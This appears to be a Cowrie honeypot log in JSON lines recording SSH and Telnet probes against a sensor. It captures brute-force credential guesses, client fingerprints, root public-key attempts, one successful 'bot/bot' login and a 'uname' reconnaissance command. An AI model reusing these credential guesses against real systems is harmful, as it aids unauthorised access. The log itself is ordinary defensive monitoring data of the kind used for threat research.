{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:56:05.090210Z","src_ip":"2.57.121.25","session":"3ff8f720114e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1323","message":"login attempt [user/1323] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:56:05.742303Z","src_ip":"2.57.121.25","session":"3ff8f720114e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"131290","message":"login attempt [user/131290] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:56:06.851221Z","src_ip":"2.57.121.25","session":"3ff8f720114e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.53.180.150","src_port":47389,"dst_ip":"159.203.135.109","dst_port":23,"session":"8dda949d24d3","protocol":"telnet","message":"New connection: 182.53.180.150:47389 (159.203.135.109:23) [session: 8dda949d24d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:56:07.395042Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"1312","message":"login attempt [user/1312] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:56:07.959698Z","src_ip":"2.57.121.25","session":"3ff8f720114e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"130988","message":"login attempt [user/130988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:56:09.068370Z","src_ip":"2.57.121.25","session":"3ff8f720114e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13091983","message":"login attempt [user/13091983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:56:10.181400Z","src_ip":"2.57.121.25","session":"3ff8f720114e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:56:11.292730Z","src_ip":"2.57.121.25","session":"3ff8f720114e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.747064113616943,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:56:20.141984Z","src_ip":"182.53.180.150","session":"8dda949d24d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":46624,"dst_ip":"10.17.0.5","dst_port":22,"session":"d709b8606398","protocol":"ssh","message":"New connection: 103.15.226.202:46624 (10.17.0.5:22) [session: d709b8606398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:57:10.021688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:57:10.027058Z","src_ip":"103.15.226.202","session":"d709b8606398","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:57:10.274091Z","src_ip":"103.15.226.202","session":"d709b8606398","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"presario","message":"login attempt [root/presario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:57:11.022679Z","src_ip":"103.15.226.202","session":"d709b8606398","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:57:12.276302Z","src_ip":"103.15.226.202","session":"d709b8606398","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":34146,"dst_ip":"10.17.0.5","dst_port":22,"session":"39e88e7e205d","protocol":"ssh","message":"New connection: 57.128.223.80:34146 (10.17.0.5:22) [session: 39e88e7e205d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:57:59.637079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:57:59.677292Z","src_ip":"57.128.223.80","session":"39e88e7e205d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:57:59.781586Z","src_ip":"57.128.223.80","session":"39e88e7e205d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"A1234567a","message":"login attempt [ubuntu/A1234567a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:58:00.203012Z","src_ip":"57.128.223.80","session":"39e88e7e205d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:58:01.315414Z","src_ip":"57.128.223.80","session":"39e88e7e205d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":45566,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fbc5be74fa7","protocol":"ssh","message":"New connection: 2.57.122.208:45566 (159.203.135.109:22) [session: 9fbc5be74fa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:58:27.034352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:58:27.123707Z","src_ip":"2.57.122.208","session":"9fbc5be74fa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:58:27.238122Z","src_ip":"2.57.122.208","session":"9fbc5be74fa7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:58:28.423633Z","src_ip":"2.57.122.208","session":"9fbc5be74fa7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:58:29.073408Z","src_ip":"2.57.122.208","session":"9fbc5be74fa7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:58:29.076460Z","src_ip":"2.57.122.208","session":"9fbc5be74fa7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:58:29.328547Z","src_ip":"2.57.122.208","session":"9fbc5be74fa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:58:29.333445Z","src_ip":"2.57.122.208","session":"9fbc5be74fa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.183.192","src_port":55352,"dst_ip":"10.17.0.5","dst_port":23,"session":"12e62a141003","protocol":"telnet","message":"New connection: 103.153.183.192:55352 (10.17.0.5:23) [session: 12e62a141003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:58:36.888780Z"}
{"eventid":"cowrie.session.closed","duration":0.004538774490356445,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:58:36.893066Z","src_ip":"103.153.183.192","session":"12e62a141003","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.183.192","src_port":55148,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6595185b921","protocol":"telnet","message":"New connection: 103.153.183.192:55148 (10.17.0.5:23) [session: f6595185b921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:58:37.503607Z"}
{"eventid":"cowrie.session.closed","duration":0.005560874938964844,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:58:37.509048Z","src_ip":"103.153.183.192","session":"f6595185b921","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.22","src_port":57534,"dst_ip":"159.203.135.109","dst_port":23,"session":"78d0c8e4f463","protocol":"telnet","message":"New connection: 85.217.149.22:57534 (159.203.135.109:23) [session: 78d0c8e4f463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:59:49.713224Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.23.226","src_port":46108,"dst_ip":"10.17.0.5","dst_port":22,"session":"507fad1dbf01","protocol":"ssh","message":"New connection: 23.94.23.226:46108 (10.17.0.5:22) [session: 507fad1dbf01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:00:19.093416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:00:19.098254Z","src_ip":"23.94.23.226","session":"507fad1dbf01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:00:19.177556Z","src_ip":"23.94.23.226","session":"507fad1dbf01","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:f9:7e:8b:c2:cb:7a:d8:0c:e0:20:b8:7c:e3:2e:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT5QAByX0n/GfJNc0YIj54Cesqmmv0rJRUE2Vu+iN8EJe9UqLYyKCLQrpKSa4K1ZXDbMN59MbZIybP6JYFcmJ/lLNPfMU22D1JtK/ljmarDnIXEhvNM9p7aXGueTcMZDouyGwqu4ap9cgTjraxy2ybiOoIWp338Q3cYQgK1nfsA4LJ5woxumbozw0VixlXQvAAzSj5gzb6+CZ9QTKKn73llvmguC8X0JUFfFD86plvCSt43tB+MwDZLQDWjeyCTeJLDkSFiuCWJ7OkrJTYuT5NnX2ReXQqBf4wZoEIHAg3g8G4sWwTV/pwewLZ7jTR6i37mKpH7nSAyrCOaQfhH8CR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:f9:7e:8b:c2:cb:7a:d8:0c:e0:20:b8:7c:e3:2e:76","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:00:19.529784Z","src_ip":"23.94.23.226","session":"507fad1dbf01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:f9:7e:8b:c2:cb:7a:d8:0c:e0:20:b8:7c:e3:2e:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT5QAByX0n/GfJNc0YIj54Cesqmmv0rJRUE2Vu+iN8EJe9UqLYyKCLQrpKSa4K1ZXDbMN59MbZIybP6JYFcmJ/lLNPfMU22D1JtK/ljmarDnIXEhvNM9p7aXGueTcMZDouyGwqu4ap9cgTjraxy2ybiOoIWp338Q3cYQgK1nfsA4LJ5woxumbozw0VixlXQvAAzSj5gzb6+CZ9QTKKn73llvmguC8X0JUFfFD86plvCSt43tB+MwDZLQDWjeyCTeJLDkSFiuCWJ7OkrJTYuT5NnX2ReXQqBf4wZoEIHAg3g8G4sWwTV/pwewLZ7jTR6i37mKpH7nSAyrCOaQfhH8CR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:00:19.534224Z","src_ip":"23.94.23.226","session":"507fad1dbf01","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:a0:3f:c8:5d:36:d8:a0:33:e2:2d:d4:dc:99:9f:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCGzQys3VUFP/VLWZaqQVPcMpjxEMa09xOwZQRywR0S6VF7AQXPFbK9h2rg0k6qgs2jvZbpbhJ7BnMHkx+S6L4zrLK6bOeWYf0gkxyNLM2u17g2iNmShpu7ex8fypLt6Hrl8IJvYkzIPxCkTnOFqNr6oSQLPEorp6/yUzWCIFZHiqrLV3JSy6XX2eU7zw0IyGAX6XwBm0hDkx/zCEclooHSZQRo/ApezykLinTOgqEG6r1/Ri/X4onYbGHrUc0CcHf4NVGZvFPsZKmZN9BbH6SRg0mggJq9b67KJO86OPfFjxuyF55RqGqTBVpg0b9+HEAZNfSt4oid9y5dO2mMp8Zb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a6:a0:3f:c8:5d:36:d8:a0:33:e2:2d:d4:dc:99:9f:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:00:19.609650Z","src_ip":"23.94.23.226","session":"507fad1dbf01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:a0:3f:c8:5d:36:d8:a0:33:e2:2d:d4:dc:99:9f:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCGzQys3VUFP/VLWZaqQVPcMpjxEMa09xOwZQRywR0S6VF7AQXPFbK9h2rg0k6qgs2jvZbpbhJ7BnMHkx+S6L4zrLK6bOeWYf0gkxyNLM2u17g2iNmShpu7ex8fypLt6Hrl8IJvYkzIPxCkTnOFqNr6oSQLPEorp6/yUzWCIFZHiqrLV3JSy6XX2eU7zw0IyGAX6XwBm0hDkx/zCEclooHSZQRo/ApezykLinTOgqEG6r1/Ri/X4onYbGHrUc0CcHf4NVGZvFPsZKmZN9BbH6SRg0mggJq9b67KJO86OPfFjxuyF55RqGqTBVpg0b9+HEAZNfSt4oid9y5dO2mMp8Zb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:00:19.613534Z","src_ip":"23.94.23.226","session":"507fad1dbf01","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:f8:93:a7:a2:86:22:8c:f9:97:49:05:69:46:9a:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgonRvovkDzZoGEsGb948eAwP0Y7YGdC5kQJ0F2p/zJazWCO6nC+tNLb3PTbqQIgC5qQP2vfHPJu2LgxppnwTYfvjmKyzkzfSsXN5k4B9kH5fgqfpkHLbwwrivgxmlbc6Q4RfGcflE8y+2aPavNVRbqudpMMZ4bv3tTHVGyeAuli45cQglUdMnnRC/t7gTjdTCVxEfxJ4UClSeMhdlXdAssLyUc+WJu+ae8BBsjQmLA1mumYKlcaVuURGl7a/PNXuXVf3ITuAlhYvYGeF07cjYa0nm3zQxyZoTb1ujPJ776ckSs2xisxbWFBMm0AGnFrDondL2MPqw4p8NebuXDb+Z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:f8:93:a7:a2:86:22:8c:f9:97:49:05:69:46:9a:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:00:19.689065Z","src_ip":"23.94.23.226","session":"507fad1dbf01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:f8:93:a7:a2:86:22:8c:f9:97:49:05:69:46:9a:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgonRvovkDzZoGEsGb948eAwP0Y7YGdC5kQJ0F2p/zJazWCO6nC+tNLb3PTbqQIgC5qQP2vfHPJu2LgxppnwTYfvjmKyzkzfSsXN5k4B9kH5fgqfpkHLbwwrivgxmlbc6Q4RfGcflE8y+2aPavNVRbqudpMMZ4bv3tTHVGyeAuli45cQglUdMnnRC/t7gTjdTCVxEfxJ4UClSeMhdlXdAssLyUc+WJu+ae8BBsjQmLA1mumYKlcaVuURGl7a/PNXuXVf3ITuAlhYvYGeF07cjYa0nm3zQxyZoTb1ujPJ776ckSs2xisxbWFBMm0AGnFrDondL2MPqw4p8NebuXDb+Z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:00:19.693002Z","src_ip":"23.94.23.226","session":"507fad1dbf01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.989729404449463,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:00:19.702822Z","src_ip":"85.217.149.22","session":"78d0c8e4f463","protocol":"telnet"}
